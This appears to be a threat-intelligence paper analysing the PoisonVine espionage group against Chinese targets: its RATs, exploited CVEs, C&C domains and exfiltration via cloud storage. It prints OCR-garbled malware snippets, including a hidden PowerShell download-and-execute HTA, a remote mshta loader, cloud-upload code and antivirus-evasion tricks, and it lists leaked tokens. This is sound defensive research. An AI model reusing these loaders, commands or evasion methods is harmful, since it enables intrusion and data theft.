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Abstract

In this paper we will disclose details of a little-known APT group, PoisonVine, and its long history of
cyberespionage activities lasting 11 years. The group is keen on Chinese entities and aims to harvest political and
military intelligence. Targets include government agencies, military personnel, research institutes and maritime
agencies. The group has compromised multiple entities successfully and is still active in 2019. We will describe
the group’s campaigns in detail, including malware, vulnerabilities, infrastructure and TTP. Furthermore, we will
shed light on the impact of the attacks and on actor attribution, thanks to mistakes made by the group when all
stolen data, including profiles of victim machines and sensitive documents, was saved to cloud storage at the data

exfiltration stage.

Introduction

PoisonVine is a little-known Traditional Chinese-speaking APT group that was first disclosed in 2018 by Qi An
Xin Threat Intelligence Center [1, 2]. Starting in 2007, the PoisonVine group has carried out 11 years of
cyberespionage campaigns against Chinese key units and departments, including national defence, government,
science and technology, education and maritime agencies. The group mainly targets the military industry, Sino-US

relations, cross-strait relations and ocean-related fields.

The PoisonVine group obtained an established foothold by sending spear-phishing emails and delivering decoy
documents, the contents of which were closely related to the target industry or field (for example, specific
conference materials, research papers or announcements). They mainly used implants including publicly available
RATSs and custom trojans, such as ZxShell and Poison Ivy, and preferred to use cloud storage for the exfiltration of

stolen information.

Because the group mainly uses Poison Ivy and cloud storage, making it similar to vines that can climb across a

wall, we named it ‘PoisonVine’.

11 years of campaigns
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The earliest activities of PoisonVine were seen in December 2007, since when the group has been active for 11

years. We list some of the major events in the timeline below:

e In December 2007, the trojan associated with the group was first discovered. Marine-related fields
(suspected to be related to a large shipping company) were involved.

e In March 2008, a key laboratory (a scientific research institute) at a university in China was attacked.

e In February 2009, attacks against the military industry began (involving a well-known military journal).

e In October 2009, the trojan added a special method for avoiding detection via static scanning: API string
reverse order. The method was used in most versions of the trojan and continued to be used until 2018.

e In December 2011, the trojan added a special method to combat dynamic detection (error API parameters).
Related methods were used in most versions of the trojan and continued to be used until 2015.

 In February 2012, the first modified version of a backdoor based on ZxShell code was discovered. The key
function was to steal document files such as .doc, .ppt, .xIs and .wps.

e In March 2013, intense attacks were conducted targeting the Chinese Academy of Sciences and a number
of national ministries and commissions in the fields of science and technology, maritime affairs, etc.

e In October 2013, a watering hole attack was carried out against a Chinese government website.

e In May 2014, an evolved version of ZxShell was discovered. In addition to the functions based on the
previous version, a search was added for keywords such as ‘military (), ‘aviation (fil)’, and ‘report (¥
&)

e On 12 September 2014, events and samples related to CVE-2014-4114 (a zero-day vulnerability) were first
discovered.

e On 14 October 2014, iSIGHT Partners [3] released a report and disclosed CVE-2014-4114. On the same
day, Microsoft released relevant security bulletins.

e On 25 February 2015, an attack was detected against a military industry association (national defence
technology) and the Chinese Academy of Engineering. Kanbox (f&#%) [4] samples were discovered.

e In October 2017, the CVE-2017-8759 vulnerability document was used to initiate a spear-phishing attack
against a large media agency website and an individual working in Quanzhou.

o In April 2018, the Qi An Xin Threat Intelligence Center disclosed the malicious attack code of the group,
exploit CVE-2017-8759 [1].

e In May 2018, the actor launched attacks against several maritime organizations including ship-building
companies and port-operating companies.

e In April 2019, the Qi An Xin Threat Intelligence Center found new samples using exploit CVE-2018-20250
[5] and JianguoYun cloud storage [6].

Capabilities and cyber weapons

PoisonVine has used publicly available RATs, custom trojans and several vulnerabilities in its activities. In this
section, we will analyse the group’s main capabilities and its cyber arsenal, including RATS, vulnerabilities and

infrastructures.
RATs

Poison Ivy
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The Poison Ivy trojan is essentially a remote access trojan (RAT). FireEye conducted a special analysis of Poison
Ivy [7]. The Poison Ivy trojan in this report corresponds to the 2.3.2 version. The Poison Ivy Trojan Generator has
a total of 10 versions starting from version 1.0.0. The latest version is 2.3.2. The Poison Ivy Trojan Generator can
generate both EXE and shellcode versions. The trojans generated in this case are in shellcode form. Most of the

related mutexes use the default value of ©)!VoqA.14’.

Foizon Ivy

Figure 1: Poison Ivy Trojan Generator.

The Poison Ivy trojan decrypts the shellcode using two rounds of a one-character XOR operation.

void sub_461000() void sub_461000() void sub_u@81008()
{ {
signed int v@; // eax@1 signed int v@; // eax@ signed int v@; // eax@1
signed int v1; // eax@3 signed int v1; // eax@3 signed int v1; // eax@3
v = 03 v = 0; vd = 0;
do do :u
‘ -
pi_shelflcode[u0] “=| OxBCu; byte_%05030[v0] “=|0x28u; byte_u@50830[v0] "= [BxAlu;
++yls ++u0: ++ul;
} ) }
while ( vo < Ox1800 ); while ( vD < 6144 ); while ( vi < 6144 );
vl = 0; vl = B; vi = 0;
do do :o
{ { .
pi_shellcode[uvi] "= |lu52||; byte_k0S030[v1] "= byte_405030[v1] '
woul; +oul; o013
} H
while ( vi1 < 0x1800 ); while ( v1 < 6144 ); while ( vi1 < 6144 );
JUMPOUT (pi_shellcode); JUMPOUT (byte_n05030); : JUMPOUT(byte_405030) ;
H

Figure 2: Decrypting the shellcode using a one-character XOR operation.

ZxShell
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ZxShell was used by PoisonVine continuously from December 2007 until October 2014. Due to a large difference
between the relevant versions, ZxShell can be regarded as existing in two versions. They are the internal published
version and the open-source version. The first version refers to the ZxShell trojan used by PoisonVine from 2007
to 2012. The second version refers to the ZxShell trojan used by the group from 2012 to 2014. The related trojan is
developed based on the open-source version, which we call the secondary development version. The internal
published version and the open-source version are both version 3.0. The former is not widely publicized, but
intergrated with features. The latter version’s source code is widely distributed, and the functions are eliminated

from the previous versions. For a more detailed analysis of ZxShell, please refer to Cisco’s report [8].

The samples we captured are based on ZxShell source code modifications. They have retained the original
structure. ZxShell itself has more than 20 instructions. In addition to retaining some instructions, the samples we
captured excluded a large number of instructions, such as: installation start, clone system account, shutdown

firewall, port scan, proxy server and other functions, but had the ‘IEPass’ command added.

if ( tdword_5123E990(&u6, name) )

return sub_51211881(s, "%s>", (unsigned int)byte S51238C58);
if ( dword_S5123E990(&vu6, “Help") && dword_S123E998(&ua, "7") )
{
if ( tdword_S5123E990(&ud6, "Exit") || tdword_S123E998{&ui, "Quit™) )
return 8;
if { dword_S5123E998(&v6, "Sysinfo™) )
{
if { dword_S5123E998(&u6, "Ps™) )
{

if { dword_S5123E998{&v6, “CleanEvent™) )
\

if ( dword_S123E998(&u6, "IEPass") )

if ( dword_S5123E990(&us, "TransFile™) )

{
if ( dword_S5123E998(&v6, “GetCHD") )

i
if { dword_S123E998(&v6, "ZXHC') )

{
if ( dword 5123E9908(&u6, "End") )

{
if ( dword 5123E998(&v6, "ShareShell™) )

{
if ( dword _S5123E990(&u6, “FileMG™) )

if ( dword _S5123E990(&u6, “rPortHap™) )
sub_51211881(s, "'%s’ Unknown Command.\rin", (unsigned int)&uo);
else
sub_51217862(s, 4);
H

Figure 3: The IEPass command.
Kanbox RAT

Kanbox RAT is a customized tool which was developed by the group. It is often disguised as a folder icon. After
execution, it will release the ‘svchOst.exe’ trojan file as well as the normal folder and a ‘.doc’ file to confuse the

user.

‘svchOst.exe’ is a trojan transmitted using the SSL encryption protocol. It will execute all the trojan processes

every hour, and the trojan processes will pack and upload all the information on the computer (including: file
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directory, system version, network card information, process list information, package specified files, network
information and disk information), as well as files with related keywords (such as ‘Taiwan’, ‘Army’ and ‘War’ in

Chinese), to the Kanbox that the attacker registered in advance via the SSL protocol.

The C&C address is a Kanbox address. The file will be uploaded via the API provided by Kanbox. Kanbox is a
free cloud service in China which provides online file storage services.

SSLINit(3); 17 SSURAY IS
uZ = sub_LBCC5B(uZ); 77 FisifssL
sub_4@8CCoB(v3, 28011, (unsigned int)sub_k@56B8@);// F-HITOKEM

memset{&best, @, Bx104u);
sprintf{&best, "%s_%s', "Ghu{zju{hrk}{", al1); // F{FEFEGE Aboutdoublewu
if ( v3 )
{
sub_4HBCEBR{&Menory, &9, 1);
sub_4BCEBB(&Menory, &u9, 1);
sub_WBCEBB(&Menory, &9, 1);
sub_4BCEBB{&Menory, &u9, 1);
sub_LACCOA(vI, W7, 1);
sub_4B8CC9B(v3, 18882, (unsigned int)"https:/fauth.kanbox.coms8/token™);
sub_LOCC?@(vi, 108024, (char)Hemory);
sub_4@CC98{v3, 64, B8);
sub_4OCCoA({uvi, B1, 0);
uly = _mkgmtime{{struct tm *)ud);
¥
else
{
vh = pii;
¥
sub_4BD78A{Memory);
sub_ 4BCEAB(UI);
Sleep(1080u);
memset{&uiz, 8, Bx184u);
sprintf{&u13, "https:/fapi-upload.kanbox.com/8/upload/%s/%s?hearer token=%s', &Dest, a2, byte 4F2214);
vig = 8;
vi1 = B;
v = sub_WACC58({v5);
if { tub
|| {sub_uBCEBB{&vi0, &uil, 1),
sub_4BCCoB(uvi, 47, 1),
sub_4BCCoa{uc, 18002, (unsigned int)&uid),
sub_4BCC98({uv6, 18824, (char)uid),
sub_uBCCoa(uvn, 64, @),
sub_4@CCc98{ve, 81, 8),

_mkgmtime{ (struct tm =)ud),
vh}) )
{
result = B;
¥

Figure 4: The file is uploaded via the API provided by Kanbox.
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Figure 5: Kanbox.
Custom shellcode loader

We discovered this custom shellcode loader in early 2018. The custom shellcode loader is delivered by a

malicious HTA file, which will download and execute a PE implant.

=definitions
smlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:socap="http://schemas.xmlscap.org/wsdl/soap/"
xmlns:suds="http: //wew.w3.0rg/ 2000/ wsd1l/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
sxmlns:ns@="http://schemas.microsoft.com/clr/nsassem/Logo/Logo"=
=partType name="PortType" />
<binding name="Binding" type="tns:PortType"=>
<soap:binding style="rpc" transport="http://schemas.xmlscap.org/soap/http" /=
<guds:class type="ns@:Image" rootType="MarshalByRefObject"»</suds:class>
</binding>
<service name="Service'=
=port name="Port" binding="tns:Binding"=
=soap:address lecation="http://updateinfo.servegame.org?C:\Windows\System3d2\mshta.exethttp://
updateinfo.servegame.org/dingl/dingl. hta" />
<spap:address location=";
if (System.AppDomain. CurrentDomain.GetDatal_url.Split(*?*)[@]) == null) {
System.Diagnostics.Process. Start(_url.Split('?°)[1], _url.Split(*?')[2]);
System. AppDomain. CurrentDomain. SetDatal_url.Split{'?') [B], true);
YA
=fport>
=/service=
=/definitions=

Figure 6: Custom shellcode loader.
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Chtml x4
<head>
£zeript language="VEBScript "4
Sub window_onload!
const imperzonation = 34
Const HIDDEN_WINDOW = 124
Set Locator = CreateObject ("WhemScripting. SWhenLocator™) e
Set Service = Locator.ConmectServer ()L
Service., Security_. Impersonationlevel=impersonationt
Set obiStartup = Service.Get ("Win32_ProcessStartup”) 4
Set objiConfiz = objStartup. SpamInstance_4
Set Process = Service.Get ("Win32_Process”™):
Error = Process.Create{"PowerShell -WindowStyle Hidden —nop -c
{(New-0b ject

exe , officeupdate. exe’ ) ; (New-Object —com
Shell. ipplication). ShellExecute (" officeupdate. exe” )", null, objConfig,
intProcessID) 4

window. close ()4
end subi
<fscripti:
{/heads
£ html >+

Figure 7: Malicious HTA file.

From the ‘SCLoaderByWeb’ string in the implant file, we believe, from the literal meaning, that the actor built it

as a shellcode loader.

The loader program will first try to connect to a common URL to check network connectivity. If there is no
connection, it will try to connect every five seconds until the network is connected. Then it downloads the payload

from hxxp://updateinfo.servegame.org/tiny 1detvghrt.tmp, as shown in Figure 8.
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add esp, 1léh
lea eax, [ebptpdwBufferLengthOut]
push ebx ; dwReserved
push ean ; pdwBufferLengthOut
push esi ; dwBufferLength
push edi ; pBuffer
push 12a08001h ; dwiption
call ds:UrlMkGetSessionOption
LY esi, ds:InternetCheckConnectionk
push ebx ; dwReserved
b 1 gl
I push offset szUrl ; "http:/ v.baidu.com/ I
call esi ; InternetCheckConnec L
= ebx, ds:Sleep
jmp short loc_48188C

test eax, eax
jz short loc_4@1874)
: L
'y v
e = W=
loc_s@189@: loc_s@187A: 3 dwMilliseconds
wor BEX, BEX push 5888
push eax 3 dwFlags call ebx ; Sleep
push RS 3 lpszProxyBypass push =] 3 dwReserved
push ean 3 lpszProxy push 1 3 dwFlags
push eax 3 dwaccessType push offset szurl 3 "http://wew.baidu.com/"
push edi ; lpszAgent call esi ; InternetCheckConnectionk
mov [ebp+dwiumberOfBytesRead], eax
mov [ebp4Buffer], eax
call ds:InternetOpent
mov esi, eax
xor eax, eax
push ean 3 dwlontext
push Soaa0aaeh 3 dwFlags
push eax 3 dwHeadersLength
push Bax 3 lpszHeaders
push offset aMttplpdateinfo ; “http://updateinfo.servegame.org/tinylde”...
push esi 3 hInternet
;::l S;;LF::;"CtUPtHJ’_:— ; const WCHAR aHttpUpdateinfe
test :di, edi aHttplpdateinfo: I - —————— rr———— I
- . text “UTF-16LE"] “http://updateinfo.servegame.org/tinyldetvghrt.tmp”|@
jnz short loc_4@18CE T £ £ 3

I
Figure 8: The loader program.

The downloaded file is decrypted using a multiple round character XOR operation. For example, as shown in
Figure 9, each round of the XOR key is Oxac, 0x5c, 0xdd, the result is equivalent to XOR 0x2d. After the

decryption, the file will execute in a created thread.
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loc_48112E:

loc_481134:

loc_48113D:

loc_481143:

loc_46114C:

loc_4@1152:
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xor
test
jz

xaor
inc
cmp

xor
test
jz

xor
inc
cmp
jb

xor
test
jz

wor
inc
cmp
jb

; CODE XREF:

eax, eax
edi, edi
short loc_48113D

byte ptr [eaxtebx], 8ACh

SasLSl e

sub_491888+1131]

sub_491008+1334

eax
eax, edi
short loc_481134

; CODE XREF:

E@x, eax
edi, edi
short loc_48114C

3 CODE XREF:

byte ptr [Eax+ebx]

eax
eax, edi
short loc_481143

; CODE XREF:

eax, eax
edi, edi
short loc_48115B

; COOE _XBE
byte ptr [eax+ebx]y eDCh
eax
eax, edi
short loc_ 481152

sub_4@1888+12A1]

sub_401088+14215

sub_401888+1391]

sub_481088+1514

round of the XOR key is Oxac, 0x5c, 0xdd, the result is equivalent to XOR 0x2d.

The shellcode is generated by the Poison Ivy RAT.

Vulnerabilities

CVE-2012-0158

Figure 9: Each

CVE-2012-0158 is a vulnerability that could allow remote code execution — the attacker would have to convince

users to open a specially crafted document. CVE-2012-0158 is typically exploited in the RTF and DOC formats,

but the PoisonVine group saved the exploit document to MHT format, which helps avoid detection by anti-virus

engines.
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el1714£04615fb3546bdE354b 7704366 _e11714£04515£b35460d£354b 7704366, doe [FY

MIME-Version: 1.8

X-MimeOLE: Produced By Microsoft MimeOLE V6.1.7681.17689

Content-Type: multipart/related;
boundary="----= NextPart_@@8 @820 @1DaJFBe.1A7CC77@"

EE nve BEREASE-

—————— = NextPart_eee_eez2D a8lDesrBe.lA7CCi7e
Content-Location: file:///C:/2673C891/Docl.htm
1@ Content-Transfer-Encoeding: quoted-printable

11 Content-Type: text/html;

12 charset="us-ascii"

13

14 <htm]l wmlns:v=AN"urn:schemas-micrnsaoft-com:wml™

fe5dfT33b0eh63f9489hd6298bavh427_samplelist. doo* (1

W20 =] Wl sl R

Twrtfl{a“*\} enerator sftedit 5.41.15.1587;}

viewkindly clhpardilanglez3‘\fe\fs2e\langle49’flipar

[OBjEKE\*\}0bJIEME{\ \0IbAdAt

alasapas

a2aeapea

llaaaaas

576172642e446T63756d65627422313200

aaaaapea

aaaaapaa

1la B@3abode

11 Decflledalbllaeslaasscaa80800000000000000000000003c000300 e To00006000000000000
12 Ge0E88000010000600100080000000000001000000200080001000000 e ffoponoaRR000E8

.- e nnJ.'J.'J.'J.'J:J:J.'J.'J.'J.'J.'J.'J:J:J.'J.'J.'J.'J.'J.'J:J:J.'J.'J.'J.'J.'J.'J:J:J.'J.'J.'J.'J.'J.'J:J:J.'J.'J.'J.'J.'J.'J:J:J.'J.'J.'J.'J.'J.'J:J:J.'J.'IIII:::IIIII:::IIIFlgure 10:

W02 s W el RD

The exploit document.

CVE-2014-6352

CVE-2014-6352 is an OLE code execution vulnerability that can bypass the patch for CVE-2014-4114, a
vulnerability of Windows OLE package manager code execution that has been exploited in the wild by the
Sandworm APT group (found by iSIGHT Partners). CVE-2014-4114 is exploited by executing an INF file via a
crafted OLE object in a PPSX document.

CVE-2014-6352 can bypass the patch for CVE-2014-4114. The patch for CVE-2014-4114 fixes the problem by
adding a ‘MarkFileUnsafe’ function. The MarkFileUnsafe function sets the file security zone to

URLZONE_INTERNET if it comes from a remote computer, and alerts the user when the file executes.

The CVE-2014-6352 exploit triggers the opening of an executable file, which is embedded in a PowerPoint

document, directly and without using the INF file.

We found the PoisonVine group using CVE-2014-6352 as a 0-day. Related samples are listed in the table below.

MD5 SHAZ256 Filename
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5e4a081a63f0122328e75cae991al
da807804fa5f53f7cbcaac82b901689c¢ 9b3ae25af9c68bccf4ae514ce972ef
2148d

TR E R SITHER
{5 .ppsx

€99f089bf209d5caea948f424881c
19f967e27e21802fe92bc9705ae0a770 bf6652658b973a5b97dbb59db6e0
3e8c907

g RAmE &N
H.ppsx

The earliest we found the exploitation document, which is named FEIERHIE R AWHETRED .ppsx’ in Chinese,
was on 4 September 2014 based on the document created date. The first activities were captured on 12 September

2014.

r:’ | {EERHTSSiTFaE (I ppsx BIE R ] r:' | S RETRE RN B ppsx Bt 2 |
Ly RS | LINAEE ETESE. AT ES
B3 -] T B3 -] &
o5 IR 1 ot PowerPoint N
E2 £ ]
1#ie | Fe
-t 3 #51 [
= =
=8 =
{E& Hindows FP {E#H zeus
BE— x5S Findows P BE—XEFE dank
218 1 218 2
WEE WES
EEER Miecrosoft Office FowerFoint EEE0 Microsoft Office FowerFoint
A8 ke
Big& BigE
BRI EaNiE 2014/9/4 0:44 BRRAFREYE 2014/9/9 13:02
RE—R{FTEAEMA| 2014/9/4 0:46 BE—R{IFI8HA | 2014/9/12 13:13
BE—XITEDAYHE BE—XHIEDRYETiE
SiRiENia 00:02:00 - SiRiENE 00:05:00 i
A ARE o AER
[ wE | BA | gR® (e [ A ) oAn

Figure 11: The exploitation document named ‘FE{FIZH|EZATFRE (T . ppsx’.
CVE-2017-8759

We found several malicious HTA files on one of the remote servers used by the PoisonVine group. The content of

the HTA file is as shown in Figure 12.
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<definitio
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1Ty
inding” ty

Jrel1) == null)
[1], _url.5pli
y[e], true)

Figure 12: The content of HTA.

We can certainly recognize these as exploits of CVE-2017-8759, so we believe the PoisonVine group also built a
malicious document which exploits CVE-2017-8759. After the vulnerability is triggered, mshta.exe executes the
HTA file remotely.

The HTA file is an HTML page with malicious VBS code embedded. The VBS code calls POWERSHELL to

download the subsequent exe loader.

(L. N

objStartup
Dh]CuﬂFig

eup
jConfig, intProc

Figure 13: An HTML page with malicious VBS code embedded.
Infrastructures
The PoisonVine group preferred to use dynamic domain services and cloud storage for C&C and data exfiltration.

Dynamic domain services

The group used several DDNS services. The table below lists the distribution of the service providers’ usage.

ChangelP and No-IP are the group’s preferred choice.
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DDNS service provider Domains
ChangelP 30

No-IP 9
DynDNS 2
Afraid(FreeDNS) 1

dnsExit 1

Disguised legitimate websites

The group used domains that mimicked those of legitimate Chinese websites to confuse their victims. They chose

government websites, email service providers and the sites of some anti-virus software.

C&C Legitimate website

chinamil.lflink.com Website of Chinese Military: www.chinamil.com.cn

soagov.sytes.net
State Oceanic Administration: www.soa.gov.cn
soagov.zapto.org

soasoa.sytes.net

xinhua.redirectme.net Xinhua News: www.xinhuanet.com

126mailserver.serveftp.com
Famous mail service provider in China: 126.com, 163.com

mail163.mypop3.net

kav2011.mooo.com

safe360.dns05.com . o
Chinese anti-virus software

cluster.safe360.dns05.com

rising.linkpc.net

Cloud storage

In previous activities, we found two samples that used Kanbox, a Chinese cloud storage service provider, for data

exfiltration.

client_id client_secret refresh_token
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3edfe684ded31a7cca6378c022 bfa89eebf29032076e9cffb755 75cdc35blcdaee24047f3afb23
65629 49feeb aSccee
7a5691b81bf4322fd88f5fa994 d44cfa7dd3c852b69c59efactf76 14b6685330bf32a22688910e7
07fbbc 6cc23 65b5dce

By using the token and Kanbox API we can retrieve the register information, which contains a telephone number:

{"status":"ok", "email":"", "phone":"15811848796", "spaceQuota": 1700807049216, "spacelsed" : 508800279, "em

Third-party blogger

The PoisonVine group also use blogging services for payload transmission. In their previous activities they used
Sina, which is a popular blogging service in China. By using a blogging service and hiding malicious code in the

blog content, it is easy to penetrate target organization networks without triggering a firewall alert.

Hollet2015-08-10 10:00)

@@a!! ! T8ABCIACES1DDDD2D24D1EEDAOSOASDDD2D29455222D20DEST 1IEEDAOSOEL
CA2D2D2DC443202D2DTBAGC1ACES1DDTD2D2A65825A0ABD62E2D2DTD4AT2D472DD:
2D109A2D2D2D5829E4EF292DTBAOABA6242D2D7 DAOABES2C2D2DTDDZBEDOZD2D2I
BO2D2D2DA4ABEE272D2DC5172D2D2DCCADI5AS2C2DFCEC0451382D3396C 1483421
202DATC511573C2DESEDEES 1242DFAF20064B42D2D2D2D2DT2AE122D5956D21AD:
A4291FAEEATRCECD40AZFS8096D23EEE2T2D2DTDDIEEF02D2D2DA0A04TDID2D2T(
AB19D1D2D23D0AZD2DADS3IDI2T2D2D2CEE16AEI3ECIF2D2DD25802D29BA12CID2I
2D7DAOABEB2F2D2D7DD2BE842D2D2DEAABA12C2D2DD2D2D2D2EAABGSD3D2D22D2I
22ABARZD2DZDAES0ESD3DZD22F581CADS3DE2TZD2D2C5805AES3A12C2D2DD2583E
2D2DD2D2D2D2EBABDS272D2D2DCE85ACE01DDTD2D24E465E10583EEAAS1DDTD2D:
D7D2D24E465E10ER

s b odEs oo D W

XD RIS 2421 2015-08-10 10:00)

Figure 14: Malicious code hidden in blog content.

Tactics, techniques and procedures

The PoisonVine group used spear-phishing emails to deliver decoy documents or achieve an executable payload.

The content of the email and attached file appear sufficiently legitimate to confuse the targeted victim. If the target
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opens the attached file, some vulnerabilities are triggered and payloads are executed. In this way the actor gains

initial access to target networks.

ET 013-EMTRATESSESLTE - B8 HTMU [=/@] = T
- -0
sigh: TTATSE (orocuss20130163. cond ERTE:  2013/10/24 (M) 14:16
m L]
g
e sttt OO
........ 1‘3 s R e e T
FhEF %
fETHETFFEET 2013 F 12 B 6—-8 BEM HBF 2013 £5¢, £V aEFAFEN.
ARSI ANENSFHET2HBLESREBLIERENEART, H L AMENF G0k
s TS, USESTFEFEERRES S VY. B2 LRTE0. FelaEsTiisEs
:ﬁﬁgﬁﬁﬁﬂﬁ!. WREUFESALESN, NTRSShTHEHAASHE. HREAEERS
EiNERTSNAEFs, HHEERFsfsBNESSRER, AEHREREMNSRNTE
. BEETSTHARLE, NADEFENSHER.
TASEILERRA
0 smrmesmsasl e -
L _Figure
15: The content of the email.
l" FTEEE+=S7 rar - WinRAR (FEHET) -
TEHF) SO TAS) GESK0) EWN) | Wik
DA LHIMNRO B IV E
:m B rTewEtIES rar - RAR FESIDT#, WAA/0 229,376 5 -
Y Feh R, 8 sty
&
B ETEEE+ ST E S ERERE A pNT exe 229,376 83307 mFENEE 2013/1042 8:24
i | [ »
=~ it 229,376 THO AT

Figure 16: The attached file.
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: E B Erscdsfiio.BEelnis - SRESS RAR EETE, BEH 66,191 5

;The comment below contains SFX script commands

£ -
o ... o o) 2017 e bat

[ 2017 et bat Silent=1
[ teredo.exe Overwrite=1
) EhEedE.doc

Figure 17: Payloads executed.

The actor also used RLO, appending a number of spaces to the end of the filename, and disguising the file using a

legitimate software icon such as a folder or Office document. These techniques help to hide the file extension

name and confuse the target victim.

SisihWFABESEHlRRN o Ethangbaoexe.doc
= =7 NFEEF

I’ k H: 2015/6/12 14:22
I =i HEER #+ 1.15 MB

s j] 2014-03-18-PERFHHHF =RARE S B a s
= =5 mReE #/) 80.0 KB .
Figure

18: The actor also used RLO and appended a number of spaces to the end of the file name.

The implant RATs used some techniques to evade detection. One of the evasion techniques is to reverse the order
of the API names. When the trojan executes, the reverse string is converted to a normal API string by the °_strrev’
function, and the ‘GetProcAddress’ function is called to dynamically obtain the API address. The use of reverse
order API strings increases the difficulty of string detection. In addition, the API address is obtained dynamically
during the execution of the trojan, which is difficult to detect in the static information of the PE, which increases

the difficulty of API detection. This technique is known to have been used between 2009 and 2018.
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D04021ED
O04021EF

004021FS
— 0040Z1F8
EEReZET D04021FC
Bim 0040Z1FD
0040Z1FE

Figure 19: API names are reversed.

8D4C24 18 les
51 push
FFD&
805424 2C lea
52 push
FFD&
8B3S 00400 mov
83C4 OC add
804424 34 lea
push
53 push
FFD& call
SNaras 14 VYo
S0 push
F3: M re
FF1S E0114B0(
83C4 04 add
8D4c24 2C lea
51 push

53 push
FF1S 68104B0C( eall

esi, dword ptr [CMISVCRT. strrei msvert. strrev
[: = “tohspanS23plehlooTet nerC”

®CX

et sy

_strrev

dword ptr [CAKERNEL3Z GetPj kernel32 GetProchddress

0oc

dword ptr [espt3d] :

eax F

ebx [— tul
GetProchddrass

Bered mibee Focoanal

-

eax t = "AsetubirttheliFt”
movs byte ptr es:[edi], byte ptl[

dword ptr [<AMSVCRT. _strrev>] _strrev

esp, 4

ecx, dword ptr [espt2C]

ecx

ProcNameOrOrdinal
.h &."..--1';.‘.1:

dword ptr [<AKERNEL32. GetProcAdilGetProchddress
add

Another way to evade detection systems is to pass the wrong parameter to the ‘GetClientRect’ function. The first

parameter of GetClientRect is to obtain a target window handler. The trojan passes 0 to GetClientRect, which will

fail forever in the Windows operating system, and the return value is 0. At present, many anti-virus solutions use

dynamic scanning technology (mostly in heuristic detection). The simulation of executing the GetClientRect

function does not consider error parameters, meaning that the GetClientRect function is always executed

successfully by simulation, and the return value is non-zero. In this way, the anti-virus software’s virtual

environment and the user’s real system can be distinguished by trojans, thus allowing them to bypass anti-virus

software detection.
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push esi
sub esp, 10h lea eax, [ebp+Rect]
lea eax, [esp+1bh+Rect] push eax 3 1pRect
= F - e T
us : -
:;11 GetClientRect call GetClientRect
test eax, eax test eax, eax
iz short loc_LO105F jz short loc_51219CD7
nov eax, 1 xor eax, eax
add esp, 10h & inc eax o .
retn 1o P ERAGE, FIITEEAE jep  short loc_S121900F ; AR, FHMITEEAE

2011

Q2L Wo ana ecx, J
S0 push T3
Fi: M
FFDS

::p, i
ecx, dword ptr [esp+d8]

acK

CT8424 DOOBO( mov
ES 4FCAFFFF | Esll
B8 01000000 |mov aax, |

«| E9 ZF160000 | jmp

> LB9 41000000 |mov ecx, 41

OD40B3AL
OD40B3AE
O0D40B3AB

2015

movs byte ptr es:[edi], byte pll[l
bp

2012

_strrev

N OrOr da
dword ptr [<AKERNEL32 G.trncn.[':'.u;é;ddd:m

uzer3Z. GetClientRect

ebx
short O040B3TA
eax, dword pir
BI9424 T4030( lea edx, dword ptr
52 push wedx
BA 00 push 0
. FFDO eall  eax
40B356 8500 test eAX, @aX
0040B388| .. T4 21 lie short 0040B3AB |
0040B38A 8D8C24 BCOTO( Lea ecx, dword
00408391 m," 1

Figure 20: Another way to evade detection systems is to pass the wrong parameter to ‘GetClientRect’.

After implanting the RATS in the target endpoint, information will be collected from the local system, including

MAC address, operating system version, host name, user name, process list, disk volume information, and so on.

It will also scan the document files for filename that contain hard-coded keywords, such as ‘military (%),
‘international ([E|fR)’, ‘Taiwan (X &)’, ‘technology (£13%)’ and ‘national ([E)’ (see Figure 21).

if { v7 > 8 )

if ( v27 > 8 )

{
¢ ul2 = Buhh; U3l = (int)&Dest;
do do
{ {
if ( *ui2 = 'a" ) if { ®(_BYTE *)u3i t= 'A' )
{ {
sub_512158C8(ui12, "FT&", v2h, u26, v27, V28] sub_402610(v31, "FE");
sub_51215868(uvi12, "EfF", vi3, vis, vis, vi6) sub_402610(v31, "F4");
sub_512158C8(uvi2, "ZFE", vi7, vig, vid, v2B); sub_402610(v31, "[E");
H
512 += 5 u3l += 5;
— --u27;
H :
while { v?7 }); while { v27 });
H H

Figure 21: Hard-coded keywords.

The following is a list of MITRE ATT&CK techniques we have observed based on our analysis of the PoisonVine

group.

e T1193 Spearphishing Attachment
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e T1203 Exploitation for Client Execution
e T1204 User Execution

e T1170 Mshta

e T1064 Scripting

e T1102 Web Service

e T1022 Data Encrypted

e T1005 Data from Local System

Data exfiltration and impact

The PoisonVine group used cloud storage to store the exfiltration data — the access token was embedded in the
implant. This is helpful for security researchers investigating the exfiltration data and the real impact of the attack

on the victims.

The actor only used a simple XOR function to encrypt the data that is uploaded. After decrypting the token by
reversing RAT samples, we were able to access the full data with at least 3GB uncompressed file size. Most of the

data consists of documents relating to the logged in user or data of installed programs.

¥ BN 20150303-5a780

k|| SRecycle.Bin
¥ || Users

k|| Administrator

] 20150303-6deae

] 20150303-9a907

I 20150303-10c7cebf

k|| Documents and Settings
9 20150303-48dc0ec2

B | task

] 20150303-64a19b72

|| 20150303-66da0adb

b [ 7 Program Files (x88)
v BN Users

k| | Administrator

b | Default

¥ [ ] 20150303-84e9246a

k|| Documents and Settings

» Bl Program Files

4 ¥ v

L |

4 ¥

Figure 22: We were able to access the full data.

We discovered that the actor used another cloud storage service, named JianGuoYun, in its recent activity, which

was used for tests and exfiltration.
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BRE

pongusyun com

e | | M= |

- scount= 2019022615402,
. SCount=2019031515374.
. scount®2019031515512.
. scount® 2019031515571,
- scount® 2019031516052,
- scount# 2019031516151,
- scount=2019031516195,.

. scount®2019031516550...

CEHEEESANETSRE
L

il scoerea0s0zzessaoz.
il «ouresors031s15374..
(il scoveis031515512..
Wl scovrea019031515571..
Wl courea0rs031518052..
Wl scovn=2ms01516151..
(@ <oure201031515195..
il <ouresaois0n1sissso..

ZENENS AR
2 3

Figure 23: The actor recently used another cloud storage service named JianGuoYun.
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Besides the data we mentioned, the actor also collects information about the target PC. The RATS collected

information from the victim PC, including OS, process list, IP address, host name, user name, and so on.

Attribution of the actor

Attribution is always a problem for the security investigator. For the PoisonVine group, we found several pieces of
evidence which could help identify the actor, including language, encoding and character set. We found several

cases of metadata written in Traditional Chinese in the payloads.

B ActiveX6.exe - WinRAR
TP #F0 THES WER0 REN =i

=L ETT L PR

s =5 B =x B8 oEse I8 2 &F SEEES
B | 5 ActiveXs.exe - EREMHST RAR i, Mk 72,924 5

=7 4 b EEEA =8 BEE CRC32 C TR REEREEST SRS
i - Folder %:ﬁ:ﬁr;ét:bs

[Blavbs 62 62 VBScript Script Fi... 2008/11/11 16:48 3EA7E782  [Silentsl
